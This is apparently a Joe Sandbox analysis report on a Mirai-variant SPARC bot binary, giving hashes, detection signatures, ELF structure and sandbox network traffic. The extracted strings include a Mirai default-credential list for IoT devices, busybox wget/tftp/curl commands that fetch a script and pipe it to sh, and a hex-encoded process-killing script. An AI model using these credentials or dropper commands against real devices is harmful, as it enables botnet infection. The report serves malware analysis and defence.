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Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name:la.bot.sparc.elf
Analysis ID:1545035
MD5:c36f3e8ea61748c452aebc00d1b6b50e
SHA1:04a4e747fb3e7ba1b1eee4facb4fcc3f6e6cc57b
SHA256:a87267fb8b28f2555fb697317eb29e586b396721058d9a8bc6f0a299c08c9d0b
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1545035
Start date and time:2024-10-30 02:03:04 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 33s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.sparc.elf
Detection:MAL
Classification:mal48.linELF@0/0@0/0
Command:/tmp/la.bot.sparc.elf
PID:6231
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • la.bot.sparc.elf (PID: 6231, Parent: 6154, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/la.bot.sparc.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: la.bot.sparc.elfReversingLabs: Detection: 28%
Source: la.bot.sparc.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sparc.elfString: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64/
Source: la.bot.sparc.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.sparc.elf (PID: 6231)Socket: 127.0.0.1:1234Jump to behavior
Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: la.bot.sparc.elfString found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elfString found in binary or memory: http:///wget.sh
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@0/0
Source: /tmp/la.bot.sparc.elf (PID: 6231)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 6231.1.00007ffcc472d000.00007ffcc474e000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 6231.1.0000558c71cfc000.0000558c71d82000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6231.1.0000558c71cfc000.0000558c71d82000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6231.1.00007ffcc472d000.00007ffcc474e000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sparc
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
la.bot.sparc.elf29%ReversingLabsLinux.Trojan.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches
No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shla.bot.sparc.elffalse
    unknown
    http:///curl.shla.bot.sparc.elffalse
      unknown
      • No. of IPs < 25%
      • 25% < No. of IPs < 50%
      • 50% < No. of IPs < 75%
      • 75% < No. of IPs
      IPDomainCountryFlagASNASN NameMalicious
      109.202.202.202
      unknownSwitzerland
      13030INIT7CHfalse
      91.189.91.43
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
      91.189.91.42
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
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                                              No context
                                              No context
                                              No created / dropped files found
                                              File type:ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
                                              Entropy (8bit):6.023032768755612
                                              TrID:
                                              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                              File name:la.bot.sparc.elf
                                              File size:80'984 bytes
                                              MD5:c36f3e8ea61748c452aebc00d1b6b50e
                                              SHA1:04a4e747fb3e7ba1b1eee4facb4fcc3f6e6cc57b
                                              SHA256:a87267fb8b28f2555fb697317eb29e586b396721058d9a8bc6f0a299c08c9d0b
                                              SHA512:4256bf09c0a803daddf7492ba49682c4eefce83f41c07598011bd7073ed04d8a0678cdba99d2c6145599f346bb08237ad33a74e676a8abef8d25717995fe8ba9
                                              SSDEEP:1536:C4O4iqVjPLjVJGwdLCIthPQfzqzclqrDf4Rnfv2uiimHjx5MHFsDf:kwtPzc/nmjjwHW
                                              TLSH:56834A26B6746D2BC8C8143F61B74765F1F5274A60A8C61F7D722E8EFF20540760B6B8
                                              File Content Preview:.ELF...........................4..:......4. ...(......................7 ..7 ..............7$..7$..7$...d..E.........dt.Q................................@..(....@.DK................#.....b...`.....!.....#<..@.....".........`......$#<..#<..@...........`....

                                              ELF header

                                              Class:ELF32
                                              Data:2's complement, big endian
                                              Version:1 (current)
                                              Machine:Sparc
                                              Version Number:0x1
                                              Type:EXEC (Executable file)
                                              OS/ABI:UNIX - System V
                                              ABI Version:0
                                              Entry Point Address:0x101a4
                                              Flags:0x0
                                              ELF Header Size:52
                                              Program Header Offset:52
                                              Program Header Size:32
                                              Number of Program Headers:3
                                              Section Header Offset:80584
                                              Section Header Size:40
                                              Number of Section Headers:10
                                              Header String Table Index:9
                                              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                              NULL0x00x00x00x00x0000
                                              .initPROGBITS0x100940x940x1c0x00x6AX004
                                              .textPROGBITS0x100b00xb00x111640x00x6AX004
                                              .finiPROGBITS0x212140x112140x140x00x6AX004
                                              .rodataPROGBITS0x212280x112280x24f80x00x2A008
                                              .ctorsPROGBITS0x337240x137240x80x00x3WA004
                                              .dtorsPROGBITS0x3372c0x1372c0x80x00x3WA004
                                              .dataPROGBITS0x337380x137380x3500x00x3WA008
                                              .bssNOBITS0x33a880x13a880x42980x00x3WA008
                                              .shstrtabSTRTAB0x00x13a880x3e0x00x0001
                                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                              LOAD0x00x100000x100000x137200x137206.04420x5R E0x10000.init .text .fini .rodata
                                              LOAD0x137240x337240x337240x3640x45fc3.85560x6RW 0x10000.ctors .dtors .data .bss
                                              GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
                                              TimestampSource PortDest PortSource IPDest IP
                                              Oct 30, 2024 02:03:50.832237005 CET43928443192.168.2.2391.189.91.42
                                              Oct 30, 2024 02:03:56.207770109 CET42836443192.168.2.2391.189.91.43
                                              Oct 30, 2024 02:03:57.231535912 CET4251680192.168.2.23109.202.202.202
                                              Oct 30, 2024 02:04:11.565763950 CET43928443192.168.2.2391.189.91.42
                                              Oct 30, 2024 02:04:21.804512024 CET42836443192.168.2.2391.189.91.43
                                              Oct 30, 2024 02:04:27.947832108 CET4251680192.168.2.23109.202.202.202
                                              Oct 30, 2024 02:04:52.520633936 CET43928443192.168.2.2391.189.91.42
                                              Oct 30, 2024 02:05:12.998039007 CET42836443192.168.2.2391.189.91.43

                                              System Behavior

                                              Start time (UTC):01:03:49
                                              Start date (UTC):30/10/2024
                                              Path:/tmp/la.bot.sparc.elf
                                              Arguments:/tmp/la.bot.sparc.elf
                                              File size:4379400 bytes
                                              MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e